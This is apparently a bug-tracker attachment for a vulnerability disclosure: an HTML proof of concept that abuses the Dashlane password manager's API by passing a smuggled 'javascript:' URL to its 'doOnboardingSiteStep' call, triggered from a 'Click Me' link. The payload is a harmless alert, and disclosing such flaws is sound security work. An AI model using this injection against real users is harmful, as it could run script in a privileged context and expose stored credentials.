New issue
Advanced search Search tips

Issue 890 attachment: dashlane.html (984 bytes)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<html>
<head>
<script src="/dashlaneapi.js"></script>
<script>
var timer;
var obj;

function startdashlane()
{
dashlaneAPI.global.isInstalled(function(err,
isInstalled,
communicationObject) {
if (isInstalled) {
obj = communicationObject;
clearTimeout(timer);
document.body.innerHTML += "<p>Dashlane Ready</p>";
} else {
alert("Dashlane Not Installed");
}
});
}
function init()
{
dashlaneAPI.init({});
timer = setTimeout(startdashlane, 1000);
}

function exploit()
{
obj.callAPI('getUserOnboardingSites', null, function () {});
obj.callAPI('doOnboardingSiteStep', {
site: 'javascript:alert(1);//://twitter.com'
}, function () {});
}
</script>
</head>
<body onload="init()">
<a href="javascript:window.open('https://mail.google.com');setTimeout(exploit, 2000)">Click Me</a>
</body>
</html>